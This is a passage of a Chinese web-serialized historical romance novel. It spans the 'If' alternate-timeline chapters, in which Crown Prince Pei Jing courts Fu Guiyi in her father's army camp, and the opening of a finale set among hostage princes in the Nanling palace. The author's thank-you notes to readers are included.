傅归荑在“南陵太子”四个字上重重一顿,眼眸陡然变得凌厉。 二族长似乎意识到了什么, 眼神惊恐地望着傅归荑手里的补汤, 仿佛那是一碗毒药。 “我不喝!”二族长慌忙往后退, 嘴唇抿得死死的。 “叔父,不喝药是不会好的。”傅归荑脸上表情淡淡,略微扬了扬下巴,身后出来两个面色凶狠的青年一左一右钳制住床上的人,轻易地灌了一碗汤药。 “这里面有百年灵芝,百年人参,还有南陵皇宫特供的一种乌鸡,熬制九九八十一个小时才成。”傅归荑讽刺一笑:“虽然叔父如今的样子换不回一匹老马,但我是个顾念亲情的人,会一辈子养着叔父,不惜任何代价。” 傅归荑转身离开,勒令照顾二族长的人好好看着他。 没过几日,有消息传来二族长死在床榻上,两眼瞪圆,似乎是被吓死的。 这件事在傅家大营里没掀起什么波澜,早先他从马上摔下去的时候大伙都默认他命不久矣,没想到傅小姐还愿意花费珍贵的药材替他续命。 众人对傅归荑的印象更好。 傅归荑对外界的一切漠不关心,她躺在榻上,手里握着一卷书。 裴璟不仅送来大量的名贵药材,还有两箱南陵文化风俗的书籍,其中《南陵六记》概述了南陵的文化,经史,地理,祭祀,风俗,算数等浅显易懂的内容,却令傅归荑大开眼界。 南陵当真是地大物博,文化深厚。 她偶然还能在某册书卷看见他人的批注,字迹遒劲有力,透着一股睥睨之态,或点评,或反驳,见解独到,很多时候与傅归荑不谋而合。 她猜测书里的应当是裴璟的字迹。 傅归荑读得如痴如醉,转眼到了秋日。 裴璟已经率领大军打进了北蛮都城,战争即将结束。 这一日傅归荑照例用完早膳,正准备巡视营地一圈后回去继续读书,但见父亲脸色肃穆往营门口方向急急赶去。 她心下疑惑,有什么事能让父亲如此惊慌? 难道是前线出了什么问题。 哥哥! 傅归荑的脸色一变,悄悄跟上去。 一群人急急忙忙护住一台担架朝里走,为首的正是自己的哥哥傅归宜。 傅归荑远远打量一番,发现他除了脸色阴沉外并无异常,这些天自己的身体也好好的,想必他应当没有大碍。 傅归宜恰好看见傅归荑,冲她比划了个手势,意思是赶紧回帐内,别管闲事。 傅归荑依言转身,她皱着眉坐在榻上,拾起翻开的半卷书,一个字也看不进去。 心里惴惴不安地等到黄昏,傅归宜掀帘而入,一言不发地先灌了几杯凉茶。 “裴璟中箭了。”傅归宜放下茶盏,语气沉冷:“那只箭矢最初是冲我来的,他帮我挡了下来。” 傅归荑听出哥哥语气中浓浓的自责,先问了一番裴璟的伤势,在得知性命无碍后松了口气,她安慰道:“哥哥莫要自责,咱们一定想办法治好他。” 傅归宜的嘴角扯了个浅浅的弧度,没说话,眼眸黯淡,若有所思。 傅归荑送走傅归宜,趁着夜色来到王帐。 父亲将此处挪给裴璟养伤,门外守着傅归荑不认识的银甲将士,为首的男子拦住傅归荑的去路。 裴璟察觉到外面的动静,命令放她进去。 银甲将军多看了傅归荑一眼,旋即低垂了眼眸,让路放行。 傅归荑进来的时候端着一碗参汤。 只见裴璟长发散在后背,上身斜依床头,身上只穿了件单薄的雪色中衣,领口微敞,隐约露出结实的肌肉和厚厚的纱布。 听见响动,他似有所觉地抬眼望过来,如渊般的双眸里划过欣喜。 傅归荑垂眸躲开他灼热的视线,低头缓行至床榻边。 “太子殿下伤势如何?” 裴璟柔声道:“没有伤到要害,躺几天便能痊愈。” 傅归荑:“那就好。” 寂静无言在两人之间蔓延。 裴璟的视线一直没有离开她,傅归荑被看得有些心慌。 她连忙端过一旁温度适宜的汤药递给裴璟,定了定心神,出言感谢:“家兄承蒙太子殿下相救,不胜感激。我特地为您熬制了补汤,愿您身体早日无恙。” 裴璟没有接过去,目光愈加具有侵略性。 他的声音成稳有力:“我不是救他,你明白吗?” 傅归荑眼皮一颤,手里的碗几乎快要拿不住,一只大掌陡然握住她的手腕。 傅归荑心里一惊,无法控制自己急促紊乱的呼吸。 他想让她明白什么? 一个突如其来的念头砸在她脑海里,惊讶,不可置信,否认,不知所措等情绪轮番在心口交织,最终只化作一句喃喃细语:“我天资驽钝,不明白太子殿下在说什么。” 裴璟手上的力道更重,像是怕她跑了似的,“我不是为傅归宜挡下这一箭,我是为你。” 傅归荑心口一震,脑中白茫茫一片,“我是为你”四个字来回耳畔边回荡。 “他受重伤,你就会不舒服。”裴璟直视傅归荑微僵的侧脸,一字一顿道:“我不想你难受,傅归荑。” 傅归荑长睫不受控制地急速颤抖,她低垂着目光,不敢与裴璟对视。 空气逐渐变得窒息粘稠,像胶一般包裹着傅归荑全身,将她钉在原地。 她每呼吸一次,胸口更沉重一分,直至眼前出现眩晕。 傅归荑的五指微蜷,目光更低,屏住呼吸刻意忽视胸腔内怦怦乱跳的心脏。 他们只是萍水相逢。裴璟是天上的皎皎明月,生来辉煌灿烂,她只是最平凡普通的女子,如满地生长的蒲草,当不起与日月比肩。 傅归荑活得通透明白,他们根本不合适。 “天色已晚,我该回去了。”傅归荑试着从裴璟掌心抽出手,却发现纹丝不动。 她硬着头皮用了点力,然而裴璟的手像是粘在她身上似的,怎么也弄不掉。 “太子殿下?”傅归荑鼓足勇气抬头看着对面的人。 裴璟黑沉沉的眼眸中一片平静,他直勾勾盯着傅归荑,表情镇定令人无法判断他今夜的所作所为到底意欲何为? 傅归荑再一次微启双唇,准备告辞:“我要回去——” “傅归荑,我心悦你。”裴璟口吻郑重,丝毫不掩藏眼眸中的渴望:“我想要……” 傅归荑不由自主地抬头,盯着他滚动的喉结,听着他微哑却迫人的嗓音。 她表面上淡漠冷静,心却像被一场突如其来的暴风雨造访,打得她措手不及,六神无主。 他的每一个咬字极重,像是要刻进她的心里似的,竟让她有种微痛的窒息感。 “裴璟,你怎么样了?”帐帘又被人掀开,带起一阵凉风,吹进傅归荑的脖间,令她后颈一凉。 傅归荑像受了惊炸毛的猫,又像岸上濒死扑腾的鱼,倏地站起身往后退了一步。 裴璟一时不察,让她挣脱。 两人同时愣在原地,傅归荑率先移开目光。 傅归宜看见他妹妹在这里,好奇地问了句:“阿荑,你怎么也在?” 傅归荑的脸霎时腾起热气,红彤彤一片迅速蔓延至耳后根,她立刻转过身飞快往外走,语气含糊不清:“我来看看殿下的伤势,正准备回去。你们有正事,我不打扰了。” 即便在这种时刻,傅归荑也不忘记向裴璟行礼告退。 傅归宜觉得自己的妹妹怪怪的,但是又说不出个所以然来,他挠了挠头,转头对上裴璟黑沉如水的脸,心里更纳闷了。 “你怎么一脸不高兴?”傅归宜走到裴璟床榻前,扫了眼冒着热气的汤,疑惑道:“谁惹你了?” 裴璟语气非常平淡地对着傅归宜说了三字:“滚出去。” 傅归宜抿紧唇,食指着住裴璟深吸了口气,僵硬地笑着离开。 临走时,他胡乱猜测是不是阿荑说了什么话惹到了裴璟,替她圆了句:“我妹妹要是说了什么得罪殿下的话,还请您不要放在心上,她年纪小不懂事,有什么火气冲我来。” 回应他的是一个“滚”字。 裴璟等人都离开后,拿起温热的汤,一口饮尽。 作者有话说: 感谢在2023-12-22 20:46:00~2023-12-24 20:59:12期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:53803910 10瓶;肥月 2瓶;万能椰子油、Maria、布谷布谷哈哈 1瓶; 非常感谢大家对我的支持,我会继续努力的! 95 If线5 ◎从此,月亮是你一个人的了。◎ 往后几日, 傅归荑再没有进过裴璟的营帐,但每日的药汁和补汤她总是亲力亲为,绝不假手于人。 她在心里告诉自己, 南陵太子的安危事关重大, 她怕大营里混入奸细, 万一在这上面做了手脚, 整个傅家都要遭殃。 傅归荑刻意忽略心底的悸动。 从小到大, 不是没有人向她示好。 除了傅归荑长相貌美这个因素外, 父亲的势力也让她在婚嫁一事上有足够的选择权。 曾经有其他部落的族长愿意用五百匹健壮的马,一千头羊还有无数金银珠宝求娶傅归荑。 这些东西对任何一个部族来说都是一笔不菲的财产,所以二族长才说不如把她嫁出去换更有价值的东西回来。 她的父亲自然不肯同意, 对方的年纪都可以做父亲的父亲, 甚至儿子都比傅归荑大几岁。 傅归荑站在火炉边,手里拿着蒲扇轻轻扇着。 她从没想过自己会与南陵太子有什么交集, 更没想过裴璟会说出那样的话。 “阿荑,你怎么了?” 傅归宜忽然出声,吓了傅归荑一跳,一口气梗在喉咙里不上不下,她难受得直皱眉。 “对不起阿荑,我不是故意的。”傅归宜见妹妹脸色发白,立刻道歉,神色慌张。 “我没事,哥哥不用担心。”傅归荑手放在胸口上顺了顺气, 笑道:“是我自己想事情入了神。” 傅归宜夺过傅归荑手里的蒲扇,替她看着药炉, 顺口问:“在想什么?” 傅归荑胡乱找了个借口搪塞:“在想以后我的嫂子是什么样的, 父亲昨日把我叫过去, 和他一同参详了几位姑娘。” 傅归宜一听,两条剑眉烦躁地拧成一团,“怎么最近一个两个都在弄这些事,仗还没打完,我哪有心思关心这些?” “还有谁?”傅归荑好奇问了一嘴。 “裴璟。”傅归宜丝毫没察觉到当他说出这两个字时,自己的妹妹身体瞬间紧绷。 “我这两日去找他的时候,看见帐篷里堆满了女子的丹青图,想必是在选太子妃。” 傅归荑语调平平哦了一声,听不出什么情绪。 话头一起,傅归宜刹不住车,迫不及待地分享自己听来的小道消息:“裴璟今年已经二十四岁,房里一直没有伺候的人,听说南陵那群老臣们急得上火,这次一定要逼他选定太子妃人选。” 傅归荑目光垂在冒着热气的药炉上,默默听着哥哥兴致勃勃说裴璟选妃一事。 军营里的生活大多数无聊枯燥,好不容易有件能津津乐道的大事自然议论纷纷,如今大家都在猜最后哪位贵女能入裴璟的眼,成为太子妃。 为此军营里还暗中开了赌局,其中南陵首辅的嫡女与兵部尚书的嫡女呼声最高,他们一个是文官之首,另一个在军中地位超然,每一个都是裴璟的左膀右臂。 “阿荑,你说我压谁好?”傅归宜煞有介事跟傅归荑商量:“你帮我分析一下,赚了钱我跟你平分。” 傅归荑头也没抬,“我猜不准。” “也是,谁知道裴璟心里在想什么。”傅归宜灵光一闪,“等我去送药,看看能不能找到些线索。” 傅归荑没阻止,任由傅归宜端走药。 等人走远,她闭上眸狠狠深吸了一口气,将脑中扰人的杂念尽数摒除。 * 数日后,裴璟已经能下床自由活动,他在营地周围四处转悠,很快发现傅归荑在躲着他。 她不出营帐,裴璟找不到机会与她说话。 不是不能硬闯,但他不想让傅归荑难堪,更不想逼迫她做出回应。 某日傍晚,季明雪来报,傅归荑独自拿着弓箭往营地东南部去了。 裴璟连忙下榻拾掇一番,手里拿着一个包裹严实的长形布袋匆匆赶过去。 傅归荑今日心烦气躁,十支箭里会射偏两支。 方才她一路走来,营地里到处都是小声议论裴璟的太子妃人选到底花落谁家。 如今南陵朝堂以裴璟马首是瞻,太子妃极有可能是未来的皇后,侧妃最少也是妃位,任哪家都不想放过这个一步登天的机会。 傅归宜昨晚上过来神秘兮兮地告诉傅归荑,他压裴璟哪一个都不选。 这个赔率最高。 他认真地分析裴璟不会轻易定下人选,反而会用皇后的位置吊着诸位大臣替他死心塌地卖命。 不过裴璟肯定会给他们一些甜头,最常规的操作便是都纳入他的后宫。南陵太子妃只有一个,可良娣能册封二人,良媛六人,还有承徽、 昭训、奉仪等数十人不止。 最后傅归宜还问傅归荑借了一些银钱,信誓旦旦保证自己一定能赢,到时候和她五五分账。 傅归荑将自己的私房钱一半都给了傅归宜。 哥哥高兴就好。 至于剩下的一半,若哥哥输了,她再拿来贴补他。 裴璟赶过来的时候,刚好看见傅归荑的一支箭脱靶飞到树后。 “你的心乱了。”裴璟从黑暗里走出来,站在傅归荑身边,他刻意忽略她脸色一瞬间的僵硬,“我能知道你的烦心事吗?” 傅归荑默了默:“多谢太子殿下关心,我没有什么烦心事,只是天色略暗,一时晃了眼。” 她不动声色地往旁边挪开一步距离,神情客气疏离。 裴璟眉头轻蹙,却没有别的动作。 他开门见山道:“傅归荑,我想要你成为我的妻子。” 傅归荑愣住了,没想到裴璟如此直白。 她一时间不知道该如何反应,下意识别过头躲开裴璟的目光,脑子里却有细微的嗡鸣声簌簌作响。 傅归荑暗自深呼吸数次,决定装作没听见,低声道:“天色已暗,我要回去了,告辞。” 她刚抬起微微颤抖的脚,手腕瞬间被人制住。 裴璟的掌心炙热,她觉得自己的手腕像被烈火烫了一下。 “傅归荑,我是认真的。”裴璟声音低沉,却如同一把箭矢直插入傅归荑的心脏,箭尾震荡,激得她的血液沸腾。 裴璟是铁了心要她给出回应,傅归荑不想用“考虑几日”这种敷衍的话搪塞过去。 她同裴璟一样,不喜欢婆婆妈妈,拖泥带水。 傅归荑强迫自己抬头,直视裴璟迫人的目光,伸手指向天空的明月,语气不卑不亢。 “明月照耀大地,润泽万物。”她指着自己:“我做不了争月华的大树,我只想要一寸土地安身,发芽,生长,最后安静地枯萎,融进泥土里。” 裴璟抿着唇,静默无言看着她。 气氛陡然一片死寂。 这一刻被无限的拉长,所有的声音被放大。 凉风穿林而过,夏蝉放声高歌。 两人中间似乎有一根拉到极致的弦,看似紧绷,实则一触而断。 傅归荑难以忍受这样压抑沉寂的气氛,她试着抽手,换来更紧的力道。 “我明白。” 裴璟眼睑半垂,声音微哑。 傅归荑喉咙发梗,扯出一缕牵强的笑:“多谢殿下谅解,容我先行告退。” 裴璟依旧没有放手。 傅归荑疑惑地看向他。 裴璟再次抬眸时双瞳烁烁,眼里似乎有两团火在燃烧,看得傅归荑呼吸不自觉紊乱,身体发热。 他从身后拿出一把长弓放在傅归荑手里。 流畅的银色弓身,反射着薄凉的月光。 傅归荑掌心一片冰冷。 “这把弓名‘逐月’,你的箭术登峰造极,可以把月亮射下来。” “从此,月亮是你一个人的了。” 傅归荑瞳孔微震,无法控制自己急促如鼓点的心跳声。 “你明白吗?”裴璟松开她的手腕,换成握住她的五指,将逐月弓死死扣在她的掌心。 傅归荑的喉咙发紧,她当然明白。 可正因为明白,才觉得不可思议。 裴璟的意思是,他只要她一个? 傅归荑睫羽飞速抖动,难以置信地注视眼前的男人。 她的母亲是南陵人,傅归荑自幼对南陵的风俗文化耳濡目染。 南陵富贵人家尚且有三妻四妾为其开枝散叶,更何况他是一国太子。 听闻宣安帝后宫美人无数,每三年还会举办选秀充盈后宫,裴璟以后会成为皇帝,他也会有三宫六院。 傅归荑从小生活在父母恩爱的环境里,使得她无法想象与别的女人分享同一个男人是什么感觉。 若是她嫁给一个普通人尚有几分希望,可裴璟这样的身份注定不会只属于一个女人。 “我不明白。”傅归荑的理智告诉她应该拒绝,心却不由自主地抽搐了一下,她强压下那股阵痛,平静道:“还请太子殿下收回这把名贵的弓,我受不起。” 裴璟语气坚定:“我说你受得起,你就受得起。” 傅归荑:“我已经有自己的弓了,用得很顺手。” 裴璟眉毛微挑:“你没试过逐月弓,如何能断言它不顺手。” “它太重,太冷。”傅归荑沉缓地呼出一口气:“我身子弱,恐怕无法承担这样的重量。” 说完这句话后,她敏锐地察觉到裴璟的呼吸变了。 “你是不想,还是不敢。”他的声音似乎在极力克制什么,嗓音发颤。 傅归荑一时怔住,眼皮下压。 不想,是没有想过这件事,是对裴璟没有感觉。 不敢,是想过这件事,但却选择放弃他。 “我不……” “看着我,傅归荑,看着我的眼睛说。” 裴璟的声音不大,却让傅归荑不由自主地跟着他的命令抬眸,口中的话自然而然被打断。 她轻咬下唇,试图抵抗裴璟与生俱来的压迫感。 是不想,还是不敢想。 傅归荑心中早有答案。 在裴璟说出“我不是为傅归宜挡下这一箭,我是为你”时,在他坦诚地告诉她“我心悦你”时,傅归荑很难骗自己没有一点点心动。 “你如果真的对我没有任何感觉,那么请你明确地告诉我。”裴璟半眯着眼,不放过眼前人脸上任何波动。 傅归荑若是回答对他没有一丝心动,裴璟无法预料自己下一步会采取什么行动,大抵不会是君子所为。 他被送到北蛮为质的这些年明白了一个道理,想要什么一定得自己争取。 等别人施舍是等不来的。 时间似乎在这一刻凝固了,沉重的气氛对双方都是一场煎熬。 傅归荑想移开目光,却有种莫名的力量阻止她。 手里的逐月弓变得越来越沉,几乎要将她压垮。 她张开口又阖上,反复数次也未能顺利地吐露半个音节。 裴璟站在她对面,手紧紧攥着她,视线一直盯在傅归荑脸上,无比耐心地等待她的回答。 穿林风再次拂面而过,傅归荑的发丝在空中飞扬,微凉的空气令她打了个觳觫。 “我不敢。” 裴璟得到答案,暗自松了口气。 作者有话说: 裴璟:无论在哪个时空,大舅哥都是我追妻路上的绊脚石。 明天全文完结! 手动感谢灌溉营养液的小天使: 30722218 20瓶; 何时能退休 10瓶; 路过 5瓶; 姜承錄的宝贝 2瓶; 夕颜 1瓶; 万能椰子油 1瓶; 54280631 1瓶; 96 If线完 ◎我要它,只属于我。◎ 傅归荑回到自己营帐时脑子还是晕乎乎的, 逐月弓被她攥在手里,放开时弓身表面的温度滚烫。 如同她此时滚烫的呼吸。 裴璟的话一直在她脑海里回响。 “愿得一心人,白首不相离。” “我只要你。” “若有朝一日, 我辜负你, 你便用这把逐月弓射穿我的心脏。” 裴璟说他登基为帝后会即刻写一封免死诏书给傅归荑, 无论未来她要如何, 皆恕无罪。 傅归荑很难描述当时听见这段话时的反应, 她只记得裴璟掌心的温度, 温柔的目光,以及夜风在两人之间穿梭而过时炙热的气息。 “小姐?”丫环见傅归荑坐在榻上跟个泥塑似的,双目呆滞, 吓得连忙过来查探。 “……嗯?”傅归荑看见丫环一脸担忧, 连忙调整好自己的表情,假咳一声道:“我没事, 退下罢。” 丫环惴惴不安退下。 傅归荑躺在床榻上,视线不由自主地望向墙壁上挂着的逐月弓。 昏黄的营帐,它也能反射出耀眼的白光,瞬间吸引所有人的目光,如同裴璟这个人一样。 哪怕他站在一边什么也不做,什么也不说,也没有人会忽略他的存在。 傅归荑胸口剧烈起伏十几次,最终还是下床将挂在墙上银白色的弓找了块布,包得严严实实, 小心翼翼地放入旁边的漆木雕花大箱子里。 又往上堆了几件衣服,直到将白色的布全部挡起来才阖上重重的箱盖。 这东西太贵重, 不宜大肆宣扬。 傅归荑做好这一切, 才重新躺回去。 闭上眼, 裴璟的话萦绕在她脑海中挥之不去。 * 翌日,天气晴朗,万里无云。 傅归宜在帐外呼唤,得到允许后掀帘入帐。 他先是观察了一番傅归荑的脸色,见她脸色红润,精神饱满才稍稍放心。 昨夜她的丫环跑来告诉他,傅归荑晚上回来后整个人失魂落魄的,吓得他赶紧跑过来。 站在帐外发现里面已经熄了灯,又不好打扰。 傅归荑睡眠一向很轻,若是被吵醒,后半夜难以入眠。 “阿荑,你最近有没有遇见不开心的事情?”傅归宜走近道:“若是谁欺负了你,一定要和我说,千万不要憋在心里,知道吗?” 傅归荑扬唇:“哪有人敢欺负我。” 傅归宜见她笑意不似作伪,弯了弯眼睛,提议道:“今日天气正好,我带你出去骑马转转。” 傅归荑一听,笑容更甚。 她的骑术精湛,然而父兄依旧不允许她独自骑马,生怕她一个不小心摔下来,更怕她遇到危险。 因此每次只能等到他们有空的时候,傅归荑才能感受在马上驰骋的快意,然而近两年父兄多在外出征,她好久没有骑马了。 换上骑装跟着傅归宜来到马厩,才发现裴璟也在。 傅归荑目光对上裴璟的瞬间,立刻低头别过脸。 裴璟领会明白傅归荑的意思,也挪开视线。 两个人看上去一点也不熟悉,傅归荑清冷疏离,裴璟冷峻摄人。 然而空气里似乎浮着一簇簇小火苗,不停地往她身上撞来撞去,挥之不去的异样感让她忍不住屏息敛气。 傅归宜完全没意识到他的妹妹与裴璟两人之间异常,没心没肺道:“太子殿下,我想带阿荑一起,您不介意吧?我会看好她的,不会惹麻烦。” 在外面,傅归宜总是给足了裴璟面子。 他转头又对傅归荑道:“太子殿下今日想去营地周围转转,你跟着我身边就行。” 傅归荑轻嗯了声,垂眸向裴璟问了声“太子殿下安。” 裴璟淡淡回了句“不介意”。 他们的语调出奇的一致,平稳无波,完全就是陌生人之间的客套。 但藏在话语中翻腾不止的暗涌只有两个人心知肚明。 除了他们三人,裴璟身边还跟着一位少年将军季明雪。 裴璟在中间,傅归宜和季明雪一左一右护在身旁,傅归荑跟在哥哥旁边。 “有鹿!”傅归宜看见几头雄鹿在林间穿梭,蠢蠢欲动地抬弓搭弦,谁料只射中鹿的后腿。 他又连补三箭,尽皆射空。 裴璟见状,淡淡道:“它受了重伤,你现在追过去还能赶上。” 傅归宜听后五官微拧,向后看了眼傅归荑,面露纠结。 傅归荑贴心道:“哥哥快去,今晚上我想吃烤鹿肉。” “但是你……”傅归宜不放心傅归荑一个人在这里,但是密林里他又怕有危险。 “我看着她。”裴璟适时出声。 傅归宜皱着眉,一时情急用马鞭指着裴璟:“看好了,千万别出事。” 裴璟丝毫不介意他的大不敬,颔首应下。 傅归宜转头对傅归荑朗声笑道:“阿荑等着,哥哥去给你猎几头好东西回来。” 傅归荑笑着嗯了一声,给了傅归宜莫大的鼓励,他拿出势必要端了那一窝的气势疾驰而去。 裴璟见人走远了,侧目对季明雪道:“还不跟上去,仔细看着点他。” 季明雪心领神会地朝密林策马,须臾间整个平原上只剩下裴璟与傅归荑。 裴璟单手牵绳,轻轻踢了踢马肚子,慢慢靠过去。 随着他的靠近,傅归荑低着头,手不自觉握住缰绳,心不由自主怦怦乱跳。 裴璟声音很轻:“怎么不带逐月弓出来试一试?” 傅归荑静默片刻,缓声答:“不太方便。” 裴璟明知故问:“怎么不方便?” 傅归荑抿了抿嘴唇,心道拿出来必定会被哥哥盘问一番,她还没想好如何回应裴璟的感情。 “你考虑得如何?”傅归荑今日从见到他起就在刻意回避他,裴璟实在是按捺不住激荡的心,却又碍于傅归宜在场不得不压下,好不容易找到独处的机会,他怎么会放过她。 傅归荑对他似乎有种魔力,只要她一出现,他的目光再难从她身上移开。 裴璟周身的气势让傅归荑难以忽略,面对裴璟的问题,她小声道:“才一个晚上而已。” 裴璟振振有词:“战机瞬息万变,一个晚上已经够久了。” 傅归荑忍不住反驳:“你是要同我打仗?” 裴璟轻笑了声,“情场如战场。我既已明白自己对你的心意,自然是要速战速决,否则迟则生变。” 傅归荑眼眶缓缓睁大,眼神慌乱,似乎没想到裴璟能如此坦诚。 “伸手。” 傅归荑脑子有些蒙,下意识照着他的命令做。 裴璟却不按常理出牌,长臂一揽搂住她的腰,用力一拽,傅归荑整个人被提起,复又稳稳当当坐在裴璟的胸前。 身体悬空的瞬间,傅归荑本能地伸手抚住裴璟的双肩。 她的后脊紧贴裴璟的胸口,能明显感受到他胸膛下有力的心跳声,透过薄薄的衣衫传递到傅归荑的身体里,引发体内五脏六腑的颤栗,余响久久不散。 傅归荑身体微僵,故作镇定道:“太子殿下这是什么意思?” “叫我裴璟。”裴璟双臂圈住傅归荑,头微微下低落在她的耳畔边,“我的意思是,你的答案我如果不满意,那你今日恐怕回不去了。” 他的嗓音低沉喑哑,语气缓和温柔,呼出的热气扑在傅归荑的耳廓内侧,漾开层层痒意。 傅归荑强迫自己保持镇定:“我若是不答应,你是打算强抢民女?” 她尽量克制自己颤抖的声音,然而却控制不住身体越来越热。 “这是个好主意。”裴璟故意打趣道:“多谢傅小姐献策。” 他骤然扬鞭,马如疾风一般往前飞驰。 傅归荑没想到他会忽然御马,身体因为惯性向后倒,猛地撞上身后人的胸膛,慌乱地啊了一声。 头顶传来一声哂笑,羞得傅归荑缩了缩脖子。 自由的风从她的耳畔刮过,拂乱她额前的碎发。 傅归荑偶然间仰头往上看了一眼。 裴璟的侧脸被阳光勾勒得棱角分明,俊朗非凡,冷硬锋利的下颌线此时像染了一层柔光。 他褪去不近人情,高高在上的外壳,似乎触手可得。 裴璟似有所觉,低头望去。 傅归荑从他乌沉的双眸中看见了自己的脸。 只有她。 全是她。 裴璟弯眼勾唇,傅归荑瞳孔微怔。 这匹马跑了很久。 他们一同跑过长河落日,来到繁星之下。 裴璟在若依河前停下来,他率先翻身下马,伸手去扶傅归荑。 傅归荑眼皮轻压,注视前面前那只宽厚的手掌,似乎有种接不道便不罢休的决然。 她闭上眸深深吸了口气,又缓缓呼出,再睁眼时心中的迷茫已然散去。 傅归荑小心翼翼地伸出手,在离掌心还有一寸距离时,裴璟猛地一握,精准地抓住她中间三根手指。 力道之大,让她恍然生出一种至死方休的骇意。 裴璟扶她下马,手却再没有放开,反而趁机塞进傅归荑松弛的指缝中,反手一扣。 十指相握,他的指节用力一夹,指骨咯得她微疼。 裴璟带她来到河边。 河面漆黑,唯有一轮明月清晰地倒映在水面上。 裴璟侧身,与傅归荑相对而立,两人的距离仅有一拳之隔。 他笑着问:“你现在考虑好了吗?” 傅归荑眼神清澈,另一只手指向天上的明月,一字一顿缓缓道:“我要它,只属于我。” 裴璟满脸笑意,眼里盛满星子。 他忽地俯下身,鼻尖紧贴傅归荑的脸。 “嗯,从今天起,它只属于你。” 裴璟的声音逐渐消失,最后淹没在傅归荑口中。 她慢慢瞪大双眼,惊得愣在原地。 裴璟的吻和他的人一样极具侵略性,傅归荑仅仅抵抗了一瞬便任由他的唇舌在自己口中游走。 天地万籁俱静,偶有几只鱼越出水面,激起轻微的涟漪。 傅归荑被吻得大脑一片空白,裴璟的气息无孔不入地侵蚀着她所有的感官,令她无法思考。 两人的呼吸声渐乱,心跳急促。 傅归荑胸腔的空气急剧减少,她试图推开裴璟。 不料换来的是后脑被一只大掌扶住,丝毫不容许她退缩半步。 直到傅归荑快要窒息时,裴璟才稍微后退了些。 她瞥见他深不见底的眼眸,迅速抬手捂住他的嘴。 “你克制点……”傅归荑的声音有点抖,腰也有些软,她甚至不得不依托后脑的手才能站稳。 裴璟嗯了声,垂眼凝视傅归荑盈满水光的眸子。 她的双唇同眼眸一般湿润,微微张开,急促的喘息声如同鼓点敲击着他的胸腔,偏偏她还无意识地发出细碎的呜咽。 裴璟扯开嘴边的扰人的手,弯下腰,重重吻了下去。 这一次,傅归荑不但人站不稳,眼角溢出的泪更是沾湿鬓边的碎发,牢牢黏在颊边。 风也吹不散。 作者有话说: 捕猎野生动物的情节是剧情需要,保护野生动物人人有责,坚决抵制食用野生动物。 傅归宜:又被偷家了! 手动感谢灌溉营养液的小天使: 32024322 113瓶,哇塞,这也太多了吧,有点震惊到我了,今天直接干了10000字。 97 初遇(全文完) ◎进来了,想出去可不容易。◎ 初遇·南陵篇 南陵这个冬天很冷, 比苍云九州冷得多。 一群十七八岁的少年们快步穿梭在南陵皇宫的小道上,两旁的草地上覆满白雪,还有愈来愈厚的趋势。 他们纷纷头顶一本厚重的《南陵律》遮挡落雪, 须臾之间靛青色的封皮铺满一层白, 手指头冻得发红。 “前面有个宫殿, 快去避避雪。”走在最前面的大汉乌拉尔指挥着。 众人闻言一股脑儿涌过去。 十几人依次排列站在宫檐下躲雪, 有人双臂环抱瑟缩着身子, 有人举起双手哈气取暖, 还有人在打量这座大门紧闭的巍峨殿宇。 “阿宜,你在干什么?”乌拉尔突然出声打断傅归荑推门的动作,同时引起所有人的注意, 纷纷转过头盯着她。 惊惧的视线瞬时凝固整个空间。 “我看看能不能进去避一避, 这雪也不知何时能停,怪冷的。”傅归荑在其余人不赞同的眼光下悻悻然收回手。 “咱们还是不要随意擅闯, 否则……”有个人抬起右手轻轻比划了个抹脖子的动作,警告之意明显。 “是啊是啊,谁知道是不是禁地。” “对,千万别乱走,他们南陵规矩多得很。”唏嘘的附和声响起一片,眼神或多或少带有一丝忌惮与恐惧。 也不怪本该意气风发的少年们个个如同惊弓之鸟,来南陵京都一个月,心里早已清楚自己是什么身份。 他们如今是质子,而不是在自家地盘上无法无天的小霸王。 南陵太子裴璟在去年一举灭掉北蛮, 结束了南北对立局势,如今南陵一家独大, 裴璟更是无冕之王。 在两国对战期间, 存活于南北夹缝间的十几个游牧部族或选择投靠北蛮一同覆灭, 或归顺南陵获封侯爵。 现在能够有机会站在这里说话的世子们,都是当初选择南陵的部族。 所以有时候,选择往往比努力更重要。 两个月前,太子裴璟下旨传召封侯的各家嫡子进京学习南陵文化知识。 明面上打出的是帮助各族人尽快融入南陵的名义,实则是以人为质震慑他们身后势力不要轻举妄动,生出异心。 平津侯世子不知什么原因没有按时到京城,半个月后就听见侯府因谋逆罪全族被诛,封地被悉数收回。 经此一役,宫内世子们立即收敛脾气,老老实实每日按时上课学习,生怕招来灭族之祸。 “这雪越下越大,看样子一时半会停不了。”大伙纷纷愁眉苦脸,这么冷的天早起本就困倦,现下他们只想回被窝里躺着补眠。 鹅毛大雪如瀑布一般倾泻而下,傅归荑仰着头一眨不眨地望着灰蒙蒙的天空。 不知哥哥如今在哪里。 和这群被迫进京的世子们不同,傅归荑是自愿入京的。 她在一年前从一个南陵的商人手里见到了哥哥带走的手串,那个人告诉他这东西是从南陵皇宫流传出来的。 傅归荑不惜冒着欺君之罪,女扮男装顶替哥哥傅归宜进京为质,只为寻找那一丝可能性。 当年若不是哥哥替她引走那群北蛮人,又怎么会失踪多年,不知生死。 忽而刮来一阵凉风,漫天的鹅毛大雪随风飘进屋檐下。 傅归荑心有所动,探出半个身子伸手去接掉落的雪花。 这场雪那么大,想必整个京都地区都能看见,若哥哥真的在这里,是不是与她在欣赏同一场落雪。 想到这里,她情不自禁露出微笑,双眸闪动着难以抑制的光芒。 这是她这么多年来,最接近哥哥的时候。 手里的雪忽然没有那么冷了。 不远处的高楼之上。 裴璟面容冷峻目视前方,身姿挺拔如孤松般站立在高阁沿廊上,周围的空气比雪更凉。 他冷眼注视着那群满脸愁苦的世子们一路跑过来避雪。 “他们近来表现如何?”裴璟淡淡问。 “回太子殿下,自从您雷厉风行收回平津侯爵位,他们这群人老实多了。不像刚来的时候,一个个跟地痞无赖似的,鼻孔全都朝着天,很是不服管教。”太监总管赵清躬身立在裴璟身后,恭敬道:“还是太子殿下您有办法镇住他们。” 裴璟面无表情,站在原地没动。 “殿下,雪越来越大了。”赵清看了眼裴璟肩上的落雪,出言提醒。 “回宫。”裴璟收回视线,准备转身下阁。 恰在此时,有一青衣少年突兀地出现在余光内,裴璟下意识瞥了一眼。 他的视线霎时盯在少年俊秀的脸上。 裴璟驻足回望,等他回过神来后少年郎俊秀清逸的笑脸清晰地印在他眸中。 “那是谁?”裴璟问。 